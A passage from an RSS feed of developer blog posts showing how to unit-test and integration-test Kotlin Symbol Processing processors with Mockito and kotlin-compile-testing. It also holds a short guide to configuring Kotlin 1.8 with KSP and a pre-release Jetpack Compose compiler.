&lt;p&gt;The unit test, successful case is &lt;a href="https://github.com/chigichan24/Spider/blob/main/spider/src/test/java/net/chigita/spider/fetcher/SpiderEnumValueFetcherTest.kt#L37-L60" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;br&gt;
I also picked up here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Mock&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;lateinit&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="py"&gt;resolver&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Resolver&lt;/span&gt;

&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;lateinit&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="py"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;SpiderEnumValueFetcher&lt;/span&gt;

&lt;span class="nd"&gt;@Before&lt;/span&gt;
&lt;span class="k"&gt;fun&lt;/span&gt; &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SpiderEnumValueFetcher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ANNOTATION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@Test&lt;/span&gt;
&lt;span class="k"&gt;fun&lt;/span&gt; &lt;span class="nf"&gt;testFetch&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;ksName&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Mockito&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;KSName&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;stub&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;on&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;getShortName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;doReturn&lt;/span&gt; &lt;span class="s"&gt;"TEST"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;ksDeclaration&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Mockito&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;KSDeclaration&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;stub&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;on&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;simpleName&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;doReturn&lt;/span&gt; &lt;span class="n"&gt;ksName&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;ksClassDeclaration&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Mockito&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;KSClassDeclaration&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;stub&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;on&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;classKind&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;doReturn&lt;/span&gt; &lt;span class="nc"&gt;ClassKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ENUM_CLASS&lt;/span&gt;
        &lt;span class="nf"&gt;on&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;declarations&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;doReturn&lt;/span&gt; &lt;span class="nf"&gt;sequenceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ksDeclaration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;resolver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stub&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;on&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;getSymbolsWithAnnotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ANNOTATION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;doReturn&lt;/span&gt; &lt;span class="nf"&gt;sequenceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;ksClassDeclaration&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resolver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;assertContentEquals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nf"&gt;sequenceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TEST"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enum class property is interpreted as below structure by ksp. So in the unit test, we'll follow the structure and mock each components.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3tlx9uq9j9zrcvjg1c9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3tlx9uq9j9zrcvjg1c9.png" alt="enum class interpreted structure"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Integration Test
&lt;/h1&gt;

&lt;p&gt;In the unit test section, I wrote unit test way especially for ksp analyze part. In this section, I'll present about integration test way.&lt;/p&gt;

&lt;p&gt;Strictly, it's not android integration test. In this section I defined integration test as ksp processing result confirmation.&lt;br&gt;
Unfortunately, there're no official support that for testing &lt;code&gt;SymbolProcessorProvider&lt;/code&gt;. But we can apply similar test by using &lt;a href="https://github.com/tschuchortdev/kotlin-compile-testing" rel="noopener noreferrer"&gt;kotlin-compile-testing&lt;/a&gt;. This library supports ksp so we can easily do integration test. This library is used by multiple ksp project such as room, moshi and etc...&lt;/p&gt;

&lt;p&gt;Let's consider with Spider case. &lt;a href="https://github.com/chigichan24/Spider/blob/main/spider/src/test/java/net/chigita/spider/SpiderProcessorTest.kt" rel="noopener noreferrer"&gt;Here&lt;/a&gt; is an integration test for spider.&lt;/p&gt;

&lt;p&gt;First of all, we'll add dependency for &lt;code&gt;build.gradle.kts&lt;/code&gt;. Preparation is that's all.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt;&lt;span class="nf"&gt;dependencies&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;testImplementation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.github.tschuchortdev:kotlin-compile-testing:1.4.9"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;testImplementation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.github.tschuchortdev:kotlin-compile-testing-ksp:1.4.9"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the each test case, run ksp symbol processor. In the spider, I prepared the &lt;code&gt;compile&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;fun&lt;/span&gt; &lt;span class="nf"&gt;prepareCompilation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;vararg&lt;/span&gt; &lt;span class="n"&gt;sourceFiles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;SourceFile&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nc"&gt;KotlinCompilation&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt;
    &lt;span class="nc"&gt;KotlinCompilation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;apply&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;workingDir&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temporaryFolder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;
            &lt;span class="n"&gt;inheritClassPath&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;
            &lt;span class="n"&gt;symbolProcessorProviders&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;listOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SpiderProcessorProvider&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="n"&gt;sources&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sourceFiles&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asList&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;verbose&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;
            &lt;span class="n"&gt;kspIncremental&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;fun&lt;/span&gt; &lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;vararg&lt;/span&gt; &lt;span class="n"&gt;sourceFiles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;SourceFile&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nc"&gt;KspCompileResult&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;compilation&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;prepareCompilation&lt;/span&gt;&lt;span class="p"&gt;(*&lt;/span&gt;&lt;span class="n"&gt;sourceFiles&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;compilation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;KspCompileResult&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nf"&gt;findGeneratedFiles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compilation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can also refer the generated file result. &lt;code&gt;KotlinCompilation&lt;/code&gt; can reach to &lt;code&gt;kspSources&lt;/code&gt;. So I prepared  below util methods.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;fun&lt;/span&gt; &lt;span class="nf"&gt;findGeneratedFiles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compilation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;KotlinCompilation&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;compilation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kspSourcesDir&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walkTopDown&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isFile&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toList&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This approach is also used by square/moshi. You can also refer &lt;a href="https://github.com/square/moshi/blob/1fdc61dc311ed6a60f308be7246208f42bbc8b21/moshi-kotlin-codegen/src/test/java/com/squareup/moshi/kotlin/codegen/ksp/JsonClassSymbolProcessorTest.kt" rel="noopener noreferrer"&gt;this&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;In this article, I presented about how to write unit test and integration test. Important point is about integration test. There are no test support by officially. We have to use &lt;a href="https://github.com/tschuchortdev/kotlin-compile-testing" rel="noopener noreferrer"&gt;kotlin-compile-testing&lt;/a&gt; instead.&lt;/p&gt;

&lt;p&gt;Both unit test and integration test, we need to know how ksp is analyzing the source code. &lt;a href="https://kotlinlang.org/docs/images/ksp-class-diagram.svg" rel="noopener noreferrer"&gt;Class diagram&lt;/a&gt; is powerful helper for figuring out structure and dependency of each classes.&lt;/p&gt;

&lt;p&gt;I've prepared unit tests and integration tests for demo ksp project. Please take a look this &lt;a href="https://github.com/chigichan24/Spider" rel="noopener noreferrer"&gt;repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;How about write tests to your own ksp projects?&lt;/p&gt;

&lt;h1&gt;
  
  
  References
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kotlinlang.org/docs/ksp-overview.html" rel="noopener noreferrer"&gt;https://kotlinlang.org/docs/ksp-overview.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kotlinlang.org/docs/images/ksp-class-diagram.svg" rel="noopener noreferrer"&gt;https://kotlinlang.org/docs/images/ksp-class-diagram.svg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/google/ksp" rel="noopener noreferrer"&gt;https://github.com/google/ksp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/tschuchortdev/kotlin-compile-testing" rel="noopener noreferrer"&gt;https://github.com/tschuchortdev/kotlin-compile-testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chigichan24/Spider" rel="noopener noreferrer"&gt;https://github.com/chigichan24/Spider&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/square/moshi" rel="noopener noreferrer"&gt;https://github.com/square/moshi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;"The Android robot is reproduced or modified from work created and shared by Google and used according to terms described in the Creative Commons 3.0 Attribution License."&lt;/p&gt;

</description>
      <category>android</category>
      <category>kotlin</category>
      <category>programming</category>
    </item>
    <item>
      <title>How configure compose compiler and ksp with Kotlin 1.8</title>
      <dc:creator>Kazuki Chigita</dc:creator>
      <pubDate>Wed, 04 Jan 2023 10:58:24 +0000</pubDate>
      <link>https://dev.to/chigichan24/how-configure-compose-compiler-and-ksp-with-kotlin-18-4bjc</link>
      <guid>https://dev.to/chigichan24/how-configure-compose-compiler-and-ksp-with-kotlin-18-4bjc</guid>
      <description>&lt;h1&gt;
  
  
  Background
&lt;/h1&gt;

&lt;p&gt;In the year end of 2022, Kotlin 1.8 was launched. We can now use Kotlin 1.8 as stable version. Let's set up Android project with Kotlin 1.8 .&lt;/p&gt;

&lt;p&gt;For the current basic development, We use JetpackCompose which is super powerful framework for Android UI development. Therefore we need to care compose compiler.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/google/ksp"&gt;google/ksp&lt;/a&gt; is one of the lightweight compiler plugin which is developed by google. Some jetpack libraries are supporting that configures with ksp (ex: room). &lt;/p&gt;

&lt;h1&gt;
  
  
  Set up
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://github.com/chigichan24/LauncherTest"&gt;Here&lt;/a&gt; is a complete example that uses Kotlin 1.8 (+ ksp and compose). PTAL, if you don't have time.&lt;/p&gt;

&lt;h2&gt;
  
  
  project level gradle file
&lt;/h2&gt;

&lt;p&gt;Use 1.8.0 as Kotlin version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plugins {
    id 'org.jetbrains.kotlin.android' version '1.8.0' apply false
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  module level gradle file
&lt;/h2&gt;

&lt;h3&gt;
  
  
  For ksp
&lt;/h3&gt;

&lt;p&gt;Set &lt;code&gt;"1.8.0-1.0.8"&lt;/code&gt; version for ksp.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plugins {
    kotlin("android")
    id("com.google.devtools.ksp").version("1.8.0-1.0.8")
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  For compose compiler
&lt;/h3&gt;

&lt;p&gt;Also, compose compiler version is strongly depends on Kotlin version. So that we have to update &lt;code&gt;kotlinCompilerExtensionVersion&lt;/code&gt; in &lt;code&gt;composeOptions&lt;/code&gt; block.&lt;/p&gt;

&lt;p&gt;I refer to &lt;a href="https://developer.android.com/jetpack/androidx/releases/compose-kotlin#pre-release_kotlin_compatibility"&gt;android developer&lt;/a&gt; site but there are no compatible version with Kotlin 1.8 . So that we need to refer as other way.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://androidx.dev/storage/compose-compiler/repository"&gt;Here&lt;/a&gt; is latest compose compiler maven indexes. &lt;br&gt;
And this site provides cutting edge version binaries. It's ok to download &lt;code&gt;.jar&lt;/code&gt; and include to project but it's not recommended. We can set set gradle file like as below.&lt;/p&gt;

&lt;p&gt;Step 1. Set new maven repository in &lt;code&gt;settings.gradle&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;maven {
     url "https://androidx.dev/storage/compose-compiler/repository/"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 2. Refer compatible version commit that indicates in &lt;a href="https://androidx.dev/storage/compose-compiler/repository"&gt;this site&lt;/a&gt;.&lt;br&gt;
For now, we would like to use Kotlin 1.8, so that use &lt;code&gt;1.4.0-dev-k1.8.0-33c0ad36f83&lt;/code&gt; as &lt;code&gt;kotlinCompilerExtensionVersion&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;android {
    composeOptions {
        kotlinCompilerExtensionVersion = "1.4.0-dev-k1.8.0-33c0ad36f83"
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And I created complete example project. Please refer the detail configuration settings. =&amp;gt; &lt;a href="https://github.com/chigichan24/LauncherTest"&gt;https://github.com/chigichan24/LauncherTest&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;I post how configure the project with Kotlin 1.8. Compose compiler does not support Kotlin 1.8 yet as stable. So we have to refer not tag but the commit. In the future compose compiler version that &lt;code&gt;1.4.0&lt;/code&gt; or &lt;code&gt;1.4.1&lt;/code&gt;(?) will support Kotlin 1.8 definitely. So this post is temporary fix. After launched stable version of compose compiler, don't forget to update it.&lt;/p&gt;

&lt;p&gt;Have a great Android application development :)&lt;/p&gt;

&lt;h1&gt;
  
  
  Reference
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.android.com/jetpack/androidx/releases/compose-kotlin"&gt;https://developer.android.com/jetpack/androidx/releases/compose-kotlin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://androidx.dev/storage/compose-compiler/repository"&gt;https://androidx.dev/storage/compose-compiler/repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chigichan24/LauncherTest"&gt;https://github.com/chigichan24/LauncherTest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jimgoog/ComposeAppUsingPrereleaseComposeCompiler"&gt;https://github.com/jimgoog/ComposeAppUsingPrereleaseComposeCompiler&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;"The Android robot is reproduced or modified from work created and shared by Google and used according to terms described in the Creative Commons 3.0 Attribution License."&lt;/p&gt;

</description>
      <category>android</category>
      <category>kotlin</category>
    </item>
  </channel>
</rss>
